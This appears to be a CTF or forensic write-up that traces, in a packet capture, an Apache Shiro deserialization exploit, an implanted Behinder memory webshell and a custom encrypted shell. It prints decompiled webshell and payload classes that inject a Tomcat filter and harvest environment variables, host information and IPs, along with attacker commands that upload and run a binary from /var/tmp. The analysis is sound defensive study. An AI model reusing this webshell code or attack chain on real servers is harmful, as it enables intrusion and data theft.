Layer 1: Apache Shiro CVE-2016-4437
Opening the pcapng capture file, most traffic was HTTP. Attempting to filter all HTTP requests:
_ws.col.protocol == "HTTP"It was observed that the initial part consisted of GET scans. Later, several POST requests were directed to the same path /favicondemo.ico. Opening them revealed payloads:
POST /favicondemo.ico HTTP/1.1...
eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr...Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing.
Filtering all POST requests:
http.request.method == "POST"HTTP stream 5009 contained a POST to /. Opening it revealed:
GET / HTTP/1.1Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL...HTTP/1.1 302Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMTLocation: http://10.1.33.69:8080/login...And a series of similar requests.
Based on the JSESSIONID, it indicated a Java backend. The rememberMe=deleteMe response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found:
GET / HTTP/1.1Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X...The server responded:
HTTP/1.1 302Location: http://10.1.33.69:8080/login...The absence of a new Set-Cookie header indicated that the AES key had been successfully matched. Subsequently:
GET / HTTP/1.1Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9pAuthorization: Basic d2hvYW1p...Server response:
HTTP/1.1 200...
$$$cm9vdAo=$$$Decoding cm9vdAo= yields root. Decoding the Authorization header value d2hvYW1p yields whoami, confirming RCE was achieved.
Subsequent commands were executed, returning:
pwd/
ls -latotal 21844drwxr-xr-x 1 root root 4096 Jan 6 03:43 .drwxr-xr-x 1 root root 4096 Jan 6 03:43 ..-rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenvdrwxr-xr-x 1 root root 4096 Oct 21 2016 bindrwxr-xr-x 2 root root 4096 Sep 12 2016 bootdrwxr-xr-x 5 root root 340 Jan 6 03:43 devdrwxr-xr-x 1 root root 4096 Jan 6 03:43 etcdrwxr-xr-x 2 root root 4096 Sep 12 2016 homedrwxr-xr-x 1 root root 4096 Oct 31 2016 libdrwxr-xr-x 2 root root 4096 Oct 20 2016 lib64drwxr-xr-x 2 root root 4096 Oct 20 2016 mediadrwxr-xr-x 2 root root 4096 Oct 20 2016 mntdrwxr-xr-x 2 root root 4096 Oct 20 2016 optdr-xr-xr-x 167 root root 0 Jan 6 03:43 procdrwx------ 2 root root 4096 Oct 20 2016 rootdrwxr-xr-x 3 root root 4096 Oct 20 2016 rundrwxr-xr-x 2 root root 4096 Oct 20 2016 sbin-rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jardrwxr-xr-x 2 root root 4096 Oct 20 2016 srvdr-xr-xr-x 13 root root 0 Jan 6 03:43 sysdrwxrwxrwt 1 root root 4096 Jan 6 03:43 tmpdrwxr-xr-x 1 root root 4096 Oct 31 2016 usrdrwxr-xr-x 1 root root 4096 Oct 31 2016 var
w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATNothing particularly useful was found. Subsequently, a request was sent:
POST / HTTP/1.1...Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A==p: HWmc2TLDoihdlr0Npath: /favicondemo.ico...
user=yv66vgAAADQB5...GCQ%3D%3DThe server responded:
HTTP/1.1 200Content-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedDate: Tue, 06 Jan 2026 05:57:43 GMTConnection: close
->|Success|<-No further similar packets were observed, indicating a webshell was likely implanted.
Layer 2: Behinder WebShell Memory-Shell
Direct Base64 decoding of the user parameter from the above POST request revealed a Java class starting with CAFEBABE. Exporting and attempting to open it with Jadx yielded:

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package com.summersec.x;
import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.math.BigInteger;import java.security.InvalidKeyException;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.util.EnumSet;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.SecretKeySpec;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.FilterRegistration;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletRequestWrapper;import javax.servlet.ServletResponse;import javax.servlet.ServletResponseWrapper;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import org.apache.catalina.LifecycleState;import org.apache.catalina.connector.RequestFacade;import org.apache.catalina.connector.ResponseFacade;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.util.LifecycleBase;
/* loaded from: download.class */public final class BehinderFilter extends ClassLoader implements Filter { public HttpServletRequest request; public HttpServletResponse response; public String cs; public String Pwd; public String path;
public BehinderFilter() { this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; }
public BehinderFilter(ClassLoader c) { super(c); this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; }
public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
public static String md5(String s) throws NoSuchAlgorithmException { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16); } catch (Exception e) { } return ret; }
public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException { parseObj(obj); this.Pwd = md5(this.request.getHeader("p")); this.path = this.request.getHeader("path"); StringBuffer output = new StringBuffer(); try { this.response.setContentType("text/html"); this.request.setCharacterEncoding(this.cs); this.response.setCharacterEncoding(this.cs); output.append(addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); } try { this.response.getWriter().print("->|" + output.toString() + "|<-"); this.response.getWriter().flush(); this.response.getWriter().close(); return true; } catch (Exception e) { return true; } }
public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException { if (obj.getClass().isArray()) { Object[] data = (Object[]) obj; this.request = (HttpServletRequest) data[0]; this.response = (HttpServletResponse) data[1]; return; } try { Class clazz = Class.forName("javax.servlet.jsp.PageContext"); this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e) { if (obj instanceof HttpServletRequest) { this.request = (HttpServletRequest) obj; try { Field req = this.request.getClass().getDeclaredField("request"); req.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) req.get(this.request); Field resp = request2.getClass().getDeclaredField("response"); resp.setAccessible(true); this.response = (HttpServletResponse) resp.get(request2); } catch (Exception e2) { try { this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e3) { } } } } }
public String addFilter() throws Exception { Class filterMap; ServletContext servletContext = this.request.getServletContext(); String filterName = this.path; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { StandardContext standardContext = null; Field stateField = null; try { try { Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field contextField2 = applicationContext.getClass().getDeclaredField("context"); contextField2.setAccessible(true); standardContext = (StandardContext) contextField2.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[]) null); stateField.set(standardContext, LifecycleState.STARTED); try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]); Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]); for (int i = 0; i < filterMaps.length; i++) { Object filterMapObj = filterMaps[i]; Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]); String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } stateField.set(standardContext, LifecycleState.STARTED); return "Success"; } catch (Exception var22) { String var11 = var22.getMessage(); stateField.set(standardContext, LifecycleState.STARTED); return var11; } } catch (Throwable th) { stateField.set(standardContext, LifecycleState.STARTED); throw th; } } return "Filter already exists"; }
/* JADX WARN: Multi-variable type inference failed */ public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException { HttpSession session = ((HttpServletRequest) req).getSession(); ServletRequest servletRequestInvoke = req; ServletResponse servletResponseInvoke = resp; if (!(servletRequestInvoke instanceof RequestFacade)) { try { Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]); servletRequestInvoke = getRequest.invoke(this.request, new Object[0]); while (!(servletRequestInvoke instanceof RequestFacade)) { servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]); } } catch (Exception e) { } } try { if (!(servletResponseInvoke instanceof ResponseFacade)) { Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]); servletResponseInvoke = getResponse.invoke(this.response, new Object[0]); while (!(servletResponseInvoke instanceof ResponseFacade)) { servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]); } } } catch (Exception e2) { } Map obj = new HashMap(); obj.put("request", servletRequestInvoke); obj.put("response", servletResponseInvoke); obj.put("session", session); try { session.putValue("u", this.Pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES")); new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } }
public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }
public void init(FilterConfig filterConfig) throws ServletException { }
public void destroy() { }}This revealed a Behinder webshell. Analysis showed it encrypts/decrypts requests and responses using AES. If the request header contains p, it takes the MD5 hash of the p value and uses the first 16 characters as the AES key.
Based on the earlier request, p: HWmc2TLDoihdlr0N, its MD5 hash is 1f2c8075acd3d118674e99f8e61b9596. The first 16 characters, 1f2c8075acd3d118, are the AES password.
It also set /favicondemo.ico as the C2 communication address, confirming that the POST data observed at this URL were the communication records.
Next, examining the previously identified POST packets, HTTP stream 40552 contained a large number of exchanges.
A Python script was written to decrypt the first request payload using the key 1f2c8075acd3d118:
import Crypto.Cipherfrom Crypto.Cipher import AESimport base64
def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # Remove PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len]
key = "1f2c8075acd3d118"body = "qjYfBvYIRKQ...ciIgehs="
data=decrypt_behinder(body, key)print(data)with open(f"payload2.bin", "wb") as file: file.write(data)The output started with CAFEBABE, the Java class file header. Opening it with Jadx:
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package net.qmrqiui;
import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.LinkedHashMap;import java.util.Map;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;
/* compiled from: Echo.java *//* loaded from: payload-favicondemo.ico.class */public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session;
private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; }
public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; }
public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } }
private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); }
private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); }
private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; }
private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; }}It simply returned the data string 1oMRO2dvZFDzLDMX8h...mqNGvJnB3v and base64 encoded it. Decoding the response confirmed this.
Continuing to decrypt and reverse the second request:
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package org.arkpoti.qegfs;
import java.io.File;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.net.Inet4Address;import java.net.InetAddress;import java.net.NetworkInterface;import java.net.SocketException;import java.util.Enumeration;import java.util.HashMap;import java.util.Map;import java.util.Properties;import java.util.Random;import java.util.Set;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;
/* compiled from: BasicInfo.java *//* loaded from: payload-favicondemo(2).ico.class */public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session;
private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; }
public Huhmocmx() { whatever = ""; whatever += "nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy"; }
public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>"); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + "<br/>"); } basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>"); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>"); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } }
private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); }
private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); }
private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; }
private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); }
private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; }}This retrieved system information. Decoding the response confirmed this.
Subsequent decryption and reversal revealed the execution of several system commands, including listing /tmp, /var, /var/tmp.
Later, a file write operation was found:
package sun.yxiw;
...
/* compiled from: FileOperation.java *//* loaded from: payload-favicondemo(18).ico.class */public class Auydc { ... public Auydc() { mode = ""; mode += "update"; path = ""; path += "/var/tmp/out"; blockIndex = ""; blockIndex += "2"; blockSize = ""; blockSize += "30720"; content = ""; content += "h61Bx+...X2zlQkI5M"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); } ...}This appended Base64-decoded content to /var/tmp/out. Many similar append requests followed. Wireshark’s Export Objects feature was used to export all 737 files related to /favicondemo.ico. A Python script was written to decrypt and save them as class files or text files based on content. This revealed the multi-part upload of a binary.
Finally, a hash check was performed:
package sun.pquyv;
...
/* compiled from: FileOperation.java *//* loaded from: payload-favicondemo(722).ico.class */public class Yfnc { ... public Yfnc() { mode = ""; mode += "check"; path = ""; path += "/var/tmp/out"; hash = ""; hash += "a0275c1593af1adb"; this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); }
private String checkFileHash(String path2) throws Exception { FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2); if (ch != null && ch.isOpen()) { ch.close(); } byte[] input = getFileData(path2); if (input == null || input.length == 0) { return null; } MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02x", Byte.valueOf(b))); } return sb.substring(0, 16); } ...}Execution permissions were granted:
package net.zlzbr.fsio.vbycsd;
...
/* compiled from: Cmd.java *//* loaded from: payload-favicondemo(734).ico.class */public class Xxzrrw { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; ... public Xxzrrw() { cmd = ""; cmd += "cd /var/tmp/ ;chmod +x out"; path = ""; path += "/var/tmp/"; } ...}Then it was executed:
package org.zhnnj;
...
/* compiled from: Cmd.java *//* loaded from: payload-favicondemo(736).ico.class */public class Imrdoaaxs { ... public Imrdoaaxs() { cmd = ""; cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path += "/var/tmp/"; } ...}This provided an aes-key: IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=. No further HTTP communication occurred after this.
Layer 3: Custom Shell
Following the HTTP stream, a TCP stream communication was found. Dumping it revealed:

1f00000033740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a240000005c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c1e000000e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df2341f000000bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f30000000be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd8712b0000002b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a6e0000008ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95690000005fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d524000000410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b61f